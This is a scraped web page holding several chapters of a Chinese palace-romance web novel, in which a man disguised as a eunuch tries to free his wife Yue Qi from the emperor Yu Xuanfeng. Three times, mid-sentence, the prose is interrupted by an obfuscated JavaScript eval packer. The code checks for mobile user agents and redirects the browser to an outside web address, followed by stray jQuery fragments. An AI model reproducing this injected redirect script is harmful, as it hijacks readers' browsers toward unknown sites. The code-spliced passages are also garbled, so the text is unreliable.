“朕想去未名宫看看。”他突然跟我说了一句,语气虚弱,眼神空洞而又无助,像是被抽了魂一样。 陛下没有去红鸾殿,我没有看到月柒,心里有些惆怅。 反倒是陛下,刚进未名宫,整个人就不淡定了。 未名宫内上回那树我还没来得及看到花开的杏花已经谢了,稀稀疏疏地落了满地,在春雨细风的摧残下,零落成泥。 正是人间四月,草长莺飞的季节,未名宫内的杂草也肆意生长,风头完全盖过了之前的枯草。玉轩枫一把走过去,拔起那半人高的青草,狠狠地砸在地上:“朕让你们好好地看着她,你们就这样对她?” 未名宫从来没有出现过那么多宫女奴才,稀稀疏疏地跪了一地,红红绿绿的一大片,装点了未名宫的春天。 “小桌子,你们随我进去看看吧。”皇上唤了唤我们,语气中似有倦意。 小桌子是我的名字。那日,总管公公问我叫什么,我一时语塞,蓦地瞥见了他身后的那方矮桌,便告诉他,我叫小桌子。 屋内空空荡荡的,除了一个上了锁的箱子,其余皆是灰尘密布。屋子里的一方梨木山水屏已经泛黄,皇上指尖轻略过上面细腻的纹路,声音有些哽咽:“这是她绣的。” 有一瞬,他蹲在地上,想试图看看那个箱子里面装了什么,却没有办法打开,然后他就变得很暴躁,怒踹了一脚那个箱子。可箱子是死物,又不似宫中他身边的这群狗腿子大臣,怎么会为之所动? 末了,他也不纠结箱子里究竟是何物,用虚弱的声音跟我们说:“摆驾,回寝宫吧。” 那一瞬,我却无比的开心,因为,他不用去红鸾殿了。 “小桌子,你说她为什么要走呢?”玉轩枫他的表情有些受伤,问我。 “也许,是因为碧妃娘娘她有别的事情要去做?”我假装一无所知,随意揣测道。 当然,在现在的碧凝夫人看来,肯定没有什么东西能抵得上十几年后的亲情,更何况对方还是一个好多年都未曾谋面、曾弃她不顾的男人。 玉轩枫脸上的阴云许久都未散去:“更重要的事情啊,朕有更重要的事情吗?” “皇上龙恩浩荡,福泽天下,这就是最重要的事情。” 不得不说,玉轩枫在某些方面是个好皇帝。朝政上,他广纳群臣良谏,是非分明,不畏谗言;朝政下,他饱览群书,颇具真知灼见。他是个聪明的皇帝,处理起来问题得心称手。如果他不是因为前丞相的事情把我爹关进了大牢,还给月柒封了个劳什子月妃,我会一直觉得他是个好皇帝。 可我怎么都想不明白,为何感情上他要如此偏执?纵然月夫人再好,却也不心属于他,他又何必强人所难?纵使月柒再像月夫人年轻时的模样,她也是我的月柒。 大抵,有些东西愈得不到,我们便会觉得它愈珍贵,反而那些来得容易的,我们总弃之如敝履,于他而言,碧凝夫人大概就是如此。 我抽空去了右文殿,沈笑已经完全痊愈,他依旧穿着他水气氤氲的天青色,貌似他很喜欢这个颜色?只是,他没了往日的轻佻,眉眼间多了几分沉稳。 不知为何,无论我变成什么样,沈笑总能一眼认出我,他见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244483|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一身葛布素衣,调侃道:“怎么,几日不见,江兄这是看破这红尘是非,跑到宫里去当太监了?” “我是来翻典籍的,没空和你开玩笑,宫里还有很多事等着我去做呢。”我要找的,是十几年前李丞相的旧章,丞相颇具威望,纵使右文殿没有翰林院那般的规模,但凡事无论大小,应该都有记载的吧。 “听说月柒成了月妃,你不是一时没想开,净身了吧?” 我抛给他了一个白眼:“阿笑,你闭嘴!没人拿你当哑巴。” 沈笑不再打趣我,一头扎进了书海,帮我认真寻找起来,不一会儿,他拿着手中的《相府事录》朝我摆了摆:“唉,你看看,这本是不是?” 《相府事录》中记载了李丞相一生的荣辱成败,前文长篇大论,写了相府众人在朝为官的峥嵘史。末了,只有草草几句,写的是,丞相府上下五百余口人,死于相府的叛变,株连九族。 就这?什么狗屁史官记录的什么玩意。我没有找到想要的东西,看着这流水账似的一句空话,把书籍一把摔在地,沈笑也不恼,弯腰拾起,将其放回原位。 “你坚持住,不出两天,公主手上的情报打探完了,她便可以回宫了。”望着我远去的背影,沈笑倚在门框上,朝我抛出这么句话,不知何意。 马车、印记、公主……无数个词汇盘旋在我的脑海里,我试图理清它们之间的思路。其实我大概地猜了出来,那个沈笑所说的公主,是玲珑。 琴棋书画,样样精通,好好的一个七巧玲珑心的女孩子,怎么就偏偏去了醉红楼呢? 没找到有用的信息,我失望而归。 “你磨蹭什么呢,怎的现在才来,皇上说了,今天晚上摆驾红鸾殿。”我回去的时候还真是有些晚了,有个老太监看见了我,埋怨了我几句,随即领了我去大殿干活。 我真的是又开心又难过。开心的是,月柒周围有一大圈的宫女奴才,我可以混在其中,随时随地的见着她,也不会引起人注意;难过的是,她现在是别人的妃子,我想要看看她跟她说句话一点都不容易。 唉,不说了,我也不知事情怎么会发展到这般田地。先是爹被抓起来了,再是我进了刑部大牢,好不容易我是出来了,爹也没救出来,月柒却摇身一变,成了宫里的娘娘,这剧情,狗血啊。 几天不见月柒,她瘦了。今日的她,被手下的宫女们细细地打扮了一番,相比起以往的秀气,多了几分媚气。可我看她觉得有些陌生,这不像是我认识的月柒了,更像是任人摆弄的傀儡,死气沉沉,毫无生机。 “陛下,碧妃娘娘回来了。”玉轩枫本来和月柒共进着晚餐,席间,有人向皇上报告了碧凝夫人的踪迹。 这着实有些让我猜不透,姨娘去了醉红楼,按理说她应该见到了月夫人,她本就恨透了这宫廷,还回来做甚?猜不透猜不透。有时候我都会觉得,她不是装疯,她是真的疯了,她疯在她一直做了别人的替身,至始至终都找不到那一份属于她的归所。 我更猜不透的,是玉轩枫接下来的举动,他直接撂下了碗筷,跟月柒说了句“爱妃慢吃,我去处理点事”,就直奔未名宫去了,我亦尾随在他身后。我们终究是走得太急了,没有看到月柒瞥见我时狐疑的目光。 “哟,我道是谁,今日是什么风,怎么把你给刮来了?”李碧凝也不正眼瞧他,只是斜睨了他一眼,语气里满是讥讽,又有些不懈。 28. 哪里错了 “你怎么变得如此刻薄?”玉轩枫皱了皱眉,语气里有些惊讶。大概他觉得,从前那个端庄贤惠的碧妃不见了。只是,那一瞬他也许忘了,这未名宫,他已有十多年没踏进来了,十几年很长,长到可以将一个人磨砺得面目全非。 十几年也许于他而言很短,他从一个混账小子变成了一个混账君王,可是后宫女子的青春,本就廉价,能有多少人能接受一连十几年被他冷落。 “变?我没有变,我只是想明白了。玉轩枫,我是要告诉你,以前的李碧凝,早就死了!”李碧凝语气决绝,指着他的鼻子说了句。 玉轩枫听了这话,也不恼,倒像个受气的小媳妇一样,并不理她,只是看着她的一举一动,目光缱绻如水。 “陛下怕不是好奇,我出宫这些时日,干嘛去了?”见玉轩枫不语,李碧凝顾自说了起来。 “自然是搬救兵去了,你们一个两个都想着救江大人,其实朕也没有为难他,倒是他的出现,让朕想明白了很多事情。”玉轩枫答得倒是自然,想必,月柒在宫里,也跟他说过这件事吧。 “我去见了一个人。”说罢,李碧凝轻轻地凑到他的耳边。 我透过她的唇形,看到她说了三个字:李、碧、瑶。 “朕才不管什么李碧瑶,朕现在只要你!”他有些激动,一把抓住李碧凝,试图把她揽入怀中。 “玉轩枫你这个疯子,你放开我,放开我!”碧妃本能地挣扎着,试图摆脱他,谁知玉轩枫就是死死地抓住她不放手。 见他久久不松手,李碧凝索性扑了上去,咬了他一口。 玉轩枫有些吃痛,便放开了拽着她的手。上面整齐地排着一排牙印,有的地方还渗出丝丝的血迹。 “好好照顾碧妃,别让她再跑出去了。”大概是见碧妃并不领情,玉轩枫知道了难处,最后选择了退缩。 “诺。”有宫人领了旨,便慌慌忙忙吩咐下去了。 原来这个男人不是在所有的事情上都是志在必得,在这一份不得始终的爱情面前,他也只是仓皇而退,我在一旁看戏,心中却暗暗叫好。 “陛下没事吧,要不要宣太医?”我见他望着手上那一排还未消散的牙印,怔怔地出了神,便忍不住在他耳边问了句。 “小桌子,你说说,朕究竟错哪儿了?”他似是有些不甘心,向我问道,那一瞬他的眼神有些无助,让人有些心疼。 “陛下圣明,只是碧妃娘娘她不理解您的心意罢了。”伴君如伴虎,我自是不会告诉他真相,毕竟我也要替我头上的这颗脑袋着想。 心里念着月夫人,把自己的妃子套上别人爱着的人的模板,明目张胆地抢走了我的月柒,他现在问我,他错在哪里了? 他这哪里是错,他这是自走错碧凝夫人那步棋开始,便已经满盘皆输。 “难不成她吃醋了?” 吃月柒的醋?后宫十几年无人员变动,就因为突然多出来一个月妃?我确信他还不知道月柒和碧凝夫人的关系,不然也不会出此言。 “吃醋是因为在乎。”我依旧照着他的思路走着,我突然明白了,什么是“忠言逆耳”,什么是“惑乱视听”,我要是再在他身边这么待下去,一步步地顺着他走,会不会落个“祸乱朝纲”的罪名? 原来“明君”和“昏君”的界线,真的是就隔了一张嘴呀。一个皇帝,若是他不在乎他的黎明百姓,他大可暴虐成性,将他的股肱之臣随便安放一个莫须有的罪名,只要他想有,不过也是说说而已,十几年前便是如此。 “月柒啊,她和我打了一个赌。他们李家的人都喜欢打赌,只可惜,一个两个都输得不像话,朕感觉,这次,我也赢了。”他转向我,深邃的目光望着殿门口的那株木兰。 有风拂过,携来昭若殿前的那株木兰的屡屡幽香,于我而言,却是寡淡无味,哪来的沁人心脾。 打赌?打了什么赌?难道月柒她输了,真的要留在红鸾殿一辈子?那我呢,我要怎么办? 想到这些,我的心更慌了。 倒是在碧凝夫人闹了这么一出后,玉轩枫显得更加安分了。除了执政殿,就一直待在昭若殿处理公文,直到有个身影出现在昭若殿。 来人是个女子,白衣胜雪,耳尖坠着晶亮的明月珰,看到了玉轩枫,浅笑道:“皇兄,我回来了。你要的消息,我都查清楚了。” 果不其然,那个公主,是玲珑!她喊玉轩枫皇兄,就足以验证我的猜想。 事情兜来转去这么一大圈,始料未及的是,命运使了一个绊,把我们所有的人圈在一起,表面看起来各不相干,但实际上,我们有着千丝万缕的联系。 醉红楼,皇宫,江家,死死地纠葛在一起。 在我抬头看她的一个瞬间,她立马认出了我来,险些惊呼起来:“江!” 我也不知道这种感觉来自于何处,大概是寻日里在醉红楼,我跟她走得稍微近了些? 我跟她比了个“嘘”的手势,刚好她也迎上了玉轩枫好奇的目光:“江什么?” 她只是莞尔一笑,转了话题:“将来有一天若我不想待在宫中,皇兄说的话可还算数?” 不在宫里,玲珑不是公主吗?她不待在皇宫,可是要去哪里? “自是算数,这些年来,辛苦你了。”玉轩枫伸了伸手,将她耳边一缕碎发揽到她耳后。 “不苦,为皇兄扫除逆党,稳下了这一片江山,玲珑觉得很值。”嘴上是这么说着,可那一瞬,我看到了玲珑眼角的那片晶亮。 原来,玲珑在醉红楼,是为了打探消息给玉轩枫。为了稳固皇位,他连自己的亲妹妹都不放过,那一瞬,我觉得他真的是不择手段——为了自己的爱情,杀死自己的忠臣,弃国家与自己的子民于不顾;为了稳固自己的皇位,将自己的妹妹派去青楼做卧底。 “皇兄向来后宫稳定,玲珑听说,皇兄新纳了个妃子,不知是哪家的姑娘,能讨得皇兄如此欢心?”玲珑性子直,说话也不拐弯抹角的,一来,她便开门见山。 我敢保证,这绝对不是因为玲珑有多么关心玉轩枫,而是沈笑这厮,肯定跟玲珑说了些什么。 沈笑啊沈笑,关键时候你怎么可以如此靠谱?我心里念着他,默默地说了句谢谢,真不愧是好兄弟。 “欢心倒说不上,只是觉得有趣。”玉轩枫大概不知道这是玲珑设的一个局,一脚踏了进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244484|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 月柒有趣是有趣,可她是我的妻,堂堂一代帝王,放着自己的后宫三千佳丽不管不顾,去横刀夺爱,我要是把这些事记到了史册里面,后人看到了,怕都是要笑话的吧。 “有趣?玲珑可听说,这女子长得像后宫的那位娘娘呢。”玲珑这话一说出口,空气中都安静了几个度,本来有窃窃私语的宫女和太监,现在除了他们俩,所有人的噤若寒蝉。 碧妃的事情才过去不久,未名宫的宫人们常常擅离职守,不好好侍奉自家主子,除去那些碧妃瞧着眼熟的,其他人每人赏了五十大板,据说有个宫女没受住,活生生被打死了。碧妃这个话题,一时间成了宫里的禁忌,宫人们心领神会,自然而然地避开了这个话题。 众人虽然明面上不说些什么,但心里都是有数的——这碧妃怕不是又得宠了吧。这不嘛,我上午刚给她送去些皇上赏赐的物件,紧接着听线人报告玉轩枫,未名宫的地砖可快是被宫里的各位娘娘们踏破了。 “我看你呐,是把在外面探消息的本事,全都用在了你皇兄身上了。”玲珑虽然步步紧逼,可玉轩枫倒也不恼。 “是啊,玲珑近些日子在宫外,可是探到了不少消息呢,只是现下人多眼杂……”玲珑瞥了我一眼,又一一扫过玉轩枫身后立着的一众奴才。 玉轩枫立刻会意,向我们吩咐道:“你们都退下吧!” “诺。”我等人依次有序退下,没走几步,我忍不住回头看了看屋内的两人。 风卷起了宫帘的一角,那一瞬,玲珑望向我,给了我一个坚定的眼神。 我一点都不好奇他们谈了些什么,江山啊朝政啊其实也与我无关,现在的我,只是一个苦苦寻妻的痴心人。 我突然间有点明白了她的想法,这意思大概是她拖住玉轩枫,让我去找月柒?平日里我一直寻着机会去找月柒,奈何不是被公公们差去做各种琐事,就是玉轩枫在月柒身边。现在,有玲珑在拖延时间,我便可以去红鸾殿,趁玉轩枫不在,将月柒带出宫,藏在醉红楼? 虽然我不知道醉红楼的背后究竟是何种势力,但我从月夫人一次次肯定的语气中能了解到,醉红楼的确不容小觑。上回夜里面对那一群突然闯进来的官兵,以陈妈妈为首的醉红楼女子们,竟然没一个人有丝毫怯意,她们反而在众目睽睽之下,杀死了一个官兵。我想,醉红楼既然能护得了月夫人,也一定能护得住月柒的吧。 执政殿到红鸾殿的距离也不长,路上会遇见什么奇奇怪怪的人,才是我担心的,万一又被哪位公公叫去干活,玲珑争取来的时间也不知道够不够了。 我一路净捡些僻静的地方走着,生怕撞见什么熟人。 庆幸的是,天佑我也。树林里除了些许蹦跶的鸟雀,鲜有人影,近来又下了雨,地上泥都是新的,没有被人踩踏过的痕迹。 红鸾殿近在咫尺,我看见了碧妃的那一抹浅绿窜了进去,她来找月柒做什么? 我在外边候了一会儿,待她走里些,我假装出一副一本正经的样子,吩咐了门口的宫人们:“我来传陛下口谕,尔等不要声张。” 我也并未现身,只是躲在一道屏风后面,偷听两人的对话。 29. 你想去哪里 “近来宫里可住的习惯?”碧妃寒暄道,语气不轻不重。 “姨娘,倒是你,近日未名宫住得可还好?”月柒并不回答她的问题,反而反问道。想必那日玉轩枫匆匆离去,尽管宫里将碧妃的事情视为禁忌,她肯定对未名宫的事情也打听了一二。 “孩子,辛苦你了,等过一段时间,我就送你出宫去,让你回到你娘身边,啊~”碧凝夫人轻轻地拉过月柒的手臂,语气里有些恳求的意味。 “出宫?我才不出宫,这宫里有吃有喝,狗皇帝也待我很好,我为什么要出宫?”月柒坐在案几上,翘着二郎腿,我知道她这是又在耍小孩子脾气了,虽然日子过得不错,但她的不开心是写在脸上的。 “你……”碧妃一时语塞,捂住胸口半天说不出一句话来,不停地喘着粗气。 “十几年了,你们为什么还是不肯放过他?”眼泪在她的眼眶打着转转,她似有些气愤地质问着月柒。 她怎么会这么想?至始至终,月柒也好,月夫人也好,她们于玉轩枫,本都是过客。月夫人和爹早已结为夫妻,月柒和我,也有了夫妻之名,这么看来,至始至终,一切都是玉轩枫错付情深,这能怪谁? “放过他?我放过他,谁来放过我?我本来在去往刑部大牢探望阿执哥哥的路上好好的,被他突然弄到这个破大殿里来,做什么月妃,他的宫里要什么样的女子没有?我才不稀罕成为她们中的一个。倒是他,为什么找了这么一大群人看着我,为什么把我关在这里!”月柒双目通红,气得把手边的青瓷粉彩瓷摔了一大堆,殿里回荡着霹雳啪啦的声音。 “既然你不喜欢,我送你走可好,求求你们,把他还给我,好不好?”蓦地她跪倒在地上,那些细碎的瓷片扎进她的膝盖,渗出鲜血来,染黑了她的绿衣。 我不知道她想干什么,但唯恐她对月柒不利,一把冲了过去,把她扶起来。 皇上对她的态度很奇怪,十几年的不闻不问,然后突然的宠爱,若是她此刻突然受伤,月柒肯定脱不了干系,难免要被问责一番。此刻未名宫那些宫女们皮开肉绽的样子历历在目,我害怕这是她的一出苦肉计。 月夫人口中温儒娴淑的李碧凝,宫人们口中疯疯癫癫的碧妃,那个会助我混入宫中的姨娘,亦或是此刻不知出于何缘故,一心想送走月柒的碧凝夫人……她有很多面,我亦不知道哪一面才是真的她,也不知道她究竟想干嘛。 这个玉轩枫真的有那么好?值得她低声下气地跪着求月柒去争取。我只是为她有些觉得不值得,也许至始至终,她爱的男子,心都在别人身上。 “阿执哥哥?”月柒在那一瞬认出了我,笑容里氤氲着泪花。 “你也来了……”碧凝夫人望向我,眼神无助得像一只小兽,尔后随我起了身。 “皇上驾到!”伴随着宫人一声长长的吆喝,碧凝夫人脸色变了色。满屋狼藉,此刻她也乱了分寸,不知如何是好,胡乱地满屋子探索着,极力想找个地方把自己藏起来,倒是月柒,一副“我的地盘我做主,脏了乱了于你何事”的模样,保持着先前的姿态。 为了不给月柒添乱,我只是理了理衣襟,正了正帽子,站在了一堆太监中,假装无事发生。红鸾殿里的太监也有数十个之多,没人会注意到一个小太监的存在。 “听说碧妃来了红鸾殿,朕也来瞧瞧。”玉轩枫见李碧凝正欲躲进一张宫帷遮掩着的八仙桌下,一把将她捞了出来。 “臣妾只是过来看看妹妹。”碧凝夫人朝他欠了欠身子,膝上的血渍一览无余。 “哦,这倒是有趣,我听说别的妃子可是想尽了心思去未名宫,你倒好,反而主动往别人宫殿里跑。”皇上此刻的表情阴晴不定,也不知道是生气还是其他。 倒是月柒很欢快地喊了他几声:“皇上、皇上。” 玉轩枫向她投去疑惑的目光。 月柒欢快地蹦到我面前,一把摘了我的宫帽,嘴角上扬成正好的弧度:“我赢了。” 我看见玉轩枫惊讶得张得可以塞一下个鸡蛋的嘴。他大概想不到,我一直就在他身边,以一个太监的身份。 “你们走吧,朕累了,碧凝你也早点回去休息吧。”许久许久,他道了句,语气中透着疲惫。 在他离去的那一瞬,我看到了他的背影中暗含着一丝丝的情绪,是落寞吗? “姨娘我们回去了。”月柒很开心地跟碧凝姨娘告别,仿佛刚刚什么事都没有发生一样。 只有满地的瓷器碎片和那一摊红色的鲜血暗示着,刚刚的一切都是真正存在的。 “你娘她,不在醉红楼了。”我和月柒前脚刚刚踏出红鸾殿,身后的月凝夫人突然说道。 “什么?”我们有些难以置信,不约而同地回头看向她。 她整个人瘫倒在地上,发丝凌乱,衣上都是斑斑点点的血渍,狼狈至极。 月夫人向来觉得只有醉红楼是安生之所,离开了醉红楼,她会去哪里?还是说,有什么事情,是她看来,比生命还重要的? “你们上回跟我说她在醉红楼,我满心欢喜地去寻她,结果那里的人们告诉我,她已经离开了。你们去找吧,要快点找到她。” 碧凝夫人是念着姐妹之情的,所以她今天来红鸾殿这些奇怪的举动只是为了送月柒出宫,加上夺回玉轩枫的那份宠爱,仅此而已吗?回去的路上,我一直想着这个问题。 不过还有个问题我有点想不明白,为什么皇上会突然放了月柒。 “月柒,听说皇上和你打了个赌,你们赌了什么,为什么皇上一看到我就把你放了呀?”我终究还是没能摁捺住心中的好奇,问了月柒。 “我赌你会来救我的,尽管他说你自身难保,不会自投罗网。”月柒在我身边蹦蹦跳跳,见我这般问她,转过身来说道,笑得灿若莲花。 我当然会来啊,我的小丫头还在宫里,我怎么可能自己一个人在外面逍遥快活,对她不管不顾。再说了,之前月柒说我要不管她了让爹给我打断腿,就算不为了她我还不得为了我的双腿考虑。 - 城北,醉红楼。 新春刚过,门口的那排大红灯笼依旧喜庆地坠着,喧嚣依旧,可细细看来,醉红楼到底还是少了些什么。 玲珑本名玉静姝,是太后最宠爱的公主,自幼养在深闺,无人所知。可这位太后大概不会想到,自家儿子会把她送进醉红楼这等烟花之地,要是九泉下有知,估计会气得从坟里蹦出来吧。 玲珑上次回了宫,就没有再回来了。十年了,她用生命中最好的十年,成全了她皇兄的王权霸业。如今,玉轩枫成全了她的自由,玲珑成了全宫中最逍遥快活的闲散公主,大概很少人能想到,她的自在悠闲背后,是一段怎样的牺牲。 没了公主,沈笑也不再来这里了。沈笑擅长招蜂引蝶,生得俊俏,挂念他的姑娘自然也是不少,我刚踏进醉红楼,就有姑娘拦住我问他的去处。 他大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244485|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在右文殿吧,除去风流的表相,他归根结底是个文弱的书生,舞文弄墨倒也适合他,我想着。 不仅如此,那个日日夜夜表情冰冷,在大厅拨弦的曲无意也不见了。 曲无意的琴曲,从来不单独弹给任何人听,曾有富家公子一掷千金让她独奏一首,曲无意不肯,那公子百般刁难,差点没让她砍断手。 曲无意她只是日日坐在同一个地方,在这大庭广众下弹奏,随心所欲地弹着她想弹奏的曲子,指尖轻扬。可如今,她却不知所踪,我问陈妈妈,她也是摇了摇头:“无意她是自由的,她不属于这个醉红楼,我也不知她去了哪里。” 月夫人不在,王爷也不在,难不成他二人一起去了鬼坟山?仔细想来,王爷来醉红楼有一段时间了,他口中的“大事”究竟发生了吗?不知前段时间,他身边那个叫弥生的小童一个人待在鬼坟山可还好? 我和月柒思索了一番,决定上山去寻他二人,大概是吸取了上次的教训,我们租了一匹马。 马儿载着我们一路上了山,山上依旧是冷清,除了哒哒的马蹄声入耳,再也听不到别的任何声音。 王爷果然在山上。我们找到他时,他正在他的屋前喝着酒,晒着太阳,弥生在他旁边端了一碗黑乎乎的也不知道是什么药,正想让他帮忙试试。 “去宫里吧,碧凝和江大人他们需要你们。”见到我二人,王爷似是话中有话,幽幽地叹了一口气,又把弥生的药抿了一口,放回了茶托里,却也没说其他。 “可是碧凝夫人才把我们赶出宫来。”月柒说的倒也是实话。 “回去吧,回去吧,月夫人她不在我这里。”王爷挥挥手,不再搭理我们,推了柴扉,顾自离去了。 回去?回哪里去?醉红楼还是皇宫?月夫人她究竟去了哪里?为什么我们谁都不知道她的去处。 “小柒,你想去哪里呀?”我一时也没了主意,问月柒道。 无论你想去哪里,我必然是如影随形,天涯海角,我陪着你去可好? “我在想一个问题。”月柒突然甩开手上的缰绳,任由我拉着马匹。 “什么问题?” “你说,如果我娘知道我爹被抓起来了,她会袖手旁观吗?” 这,任谁都不会眼睁睁看着自己的至亲至爱身陷囹圄,但凡力所能及之处,必然会竭尽全力的吧。难不成,月夫人是去救江大人了,可她一介弱女子,凭什么敢一个人去救他? 李府早就灰飞烟灭,月夫人这些年来常在醉红楼,身体又孱弱,可以说得上是手无缚鸡之力,除了月柒无人可依,又有谁会帮她? “去皇宫!”我和月柒不约而同道,月夫人之所以敢这么果断,一定有她的道理。 马不停蹄,我们俩人一路赶到了皇宫。 之前在皇上身边冒充太监,总管公公给我了一块腰牌,后来碧凝夫人出宫,被宫人们拦了回去,再后来靠的也是这块腰牌才出去。她回来后,就托人把腰牌捎给了我。凭借着它,我和月柒轻而易举地进了宫。 未名宫的花花草草们经过了一番修剪,显得别样有致。当我们找到碧凝夫人的时候,她正坐在紫木藤椅上,专心地绣着面前的一方帕子,竟未察觉到我们的到来。 我和月柒也不打扰她,静静地立在一旁看着,一针一线,映着碧叶红花,那对鸳鸯好似要从帕子中游出来一般。 “手真巧。”月柒立在她身边看着,忍不住称赞了一句。 30. 护卫原来是你 碧凝夫人仿佛早就会料到我们的到来一样,也不抬眼看看我们,继续绣着她的帕子:“你们来了呀。” 突然,有宫人跌跌撞撞地冲了进来:“娘娘,娘娘,不好了,有个人带了一个护卫闯进了皇宫,正冲向执政殿呢。” 碧凝夫人皱了皱眉头,抬起头来看了看他:“护卫?” 单凭两个人就敢直闯皇宫,谁胆子这么大,命都不要了吗? 本以为碧凝夫人并不关心这些宫里的琐事,谁知她突然站起来:“你们两个,跟我一起去看看。” 执政殿,有个护卫打扮的人把一柄长剑横在皇上身边正当红的一个公公脖上。 虽然褪去了一身红妆,换作了男装,更衬得眉宇间英气非凡,可那人不是日日在醉红楼转轴拨弦的曲无意是谁? 而在她身边的女子,正是月夫人。谁会料想到平日里毫无交集的两个女子,此时正拿着宫里的太监做人质,要挟着那个一身玄衣高高在上的皇帝。 “玉轩枫,你把吴越给我放了!”月夫人手执着一块免死金牌,朝台上的人大吼了一声。 此时一群士兵将玉轩枫围得水泄不通,他们身穿盔甲,个个手执长矛,虎视眈眈地看着面前的两个女子。 “你觉得靠他,你能威胁得了朕?”台上的人居高临下地看着她,道了句。 不过是身边一个奴才,和他玉轩枫的命比起来,简直是有如蝼蚁。十几年前,他连他左膀右臂的大臣都能赶尽杀绝,如今,区区一个无妻无子的太监,就更不值得一提了。 “陛下救命啊,老臣一片忠心呐,陛下。”曲无意剑下的那人似乎察觉到了自家陛下的决绝,赶忙向他求救。 “姐姐!”碧凝夫人看到了自家阿姐,慌忙向她奔去,意图拦住她,仿佛下一秒,自家阿姐就会做傻事似的。 “好妹妹,你别过来,小心误伤了你。”月夫人立刻就叫住了她。 “李碧瑶,这么多年了,你真的是一点都没变,性子还是那么火。”玉轩枫看着月夫人,双目微眯,透着危险的气息。 “你少说废话,快把吴越给我放了。”月夫人也不管其他,一心只想着救爹。 “朕等你等了十几年了,现在你终于来了。朕想要一个交代,朕到底有何不好,朕到底哪点比不上你的吴越了?”玉轩枫整个人显得异常的暴躁,他一脚踹开了面前的士兵,冲到了月夫人面前,双目赤红,像一只发狂了的野兽。 “不,你很好,你很好。” 碧凝夫人看到了月夫人面前的玉轩枫,一把扑过去拖住他的腿,玉轩枫寸步难行。 “可你不是吴越,你有江山社稷,有千军万马,有弱水三千,可那又怎样,真正属于你自己的东西又有多少?你的江山,属于那些为你打拼,抛头颅洒热血的将士们;你的子民,属于那些忠肝义胆,智勇双全的大臣们;你的财富,也因他们而来。除去这些,你一无所有,就凭这点,你就比不上吴越!”月夫人义愤填膺地质疑着玉轩枫,大颗大颗的泪珠自她的眼角滚落。 台下的我手足无措,怎么办?貌似现在是他们扒着陈年往事的时候,我可以做些什么吗? “哈哈哈哈哈,一无所有,好个一无所有!”大殿上回荡着玉轩枫张狂的笑声,没过多久,他朝着身边的士兵们一声令下:“来人,把他们都给我押下去。” “小心!”伴随着月柒的一声惊呼,赵骁出现在了曲无意的身后,打晕了她。一团士兵立马有序地跑过去,唰唰地将两人围了起来。 曲无意的剑掉在了地上,砸出“咣当”一声响,整个执政殿的人们大气都不敢出一声,空气安静得诡异。那个本来是人质的公公摆脱了曲无意的钳制,连滚带爬地溜走了。 糟了!月夫人和曲无意现在是手无寸铁,怕是对她们不利。 玉轩枫一把夺过了月夫人手中的免死令牌,放在了自己的手中,不断地摩挲着,边把玩边说道:“朕可记得,先皇赐给李家的免死金牌,只有一枚呢。碧妃拿了一枚救江子执,你拿这枚救吴越,就意味着,这两枚御赐金牌里面,有一枚是假的。” “你,你也被抓起来了?”月夫人不可置信地看向我。 “是的,碧凝夫人救的我。”我惭愧地低下了头,免死金牌何等重要之物,却因为我的失误,被抓了起来,浪费了一枚。现在倒好,前段因果未了结,现在又加上了一个欺君之罪。 “把这几个人都给我带走!”玉轩枫一声令下,不仅月夫人和曲无意,碧凝夫人、我、还有月柒全部被扣押了起来,关进了牢房。 依旧是发霉了的稻草,依旧是垫了破草席的一方青石。那时我才明白,原来不论做什么事只要和自己喜欢的人在一起,都甘之若饴,包括坐牢在内。 曲无意、月柒、月夫人和碧妃被关在了一间牢房,我被关在了隔壁的另一间牢房。每天我都听她们絮絮讲着一些往事,虽然插不上什么话,但就是觉得开心不已。 李家旧人月夫人、曲无意、碧妃,月夫人和爹的亲生女儿月柒,就算是死,我们最后也死在了一起。 谢谢他们给了我一个归属,让我即便是做鬼,也不是孤魂野鬼,兴许我们还可以手拉手,过了奈何桥,同饮孟婆汤,跟地府求一段缘,下辈子也做亲人们。 从她们的聊天中我偶然得知,原来碧妃前段时间出宫没有遇到月夫人,那么这一个星期,她出去干嘛了?碧妃不主动提起,也无人去问,可是好奇在我心底深深地埋下了种子。 一日,两日,三日。 没有人再来打扰我们了,我们每天在一起,有说有笑,道些陈年往事,打发牢里的寂寥时光。 原来,李府有一群身份不一般的暗卫,常年潜伏在府里做一些特殊的任务,除了丞相,无人对他们的任何有所知。 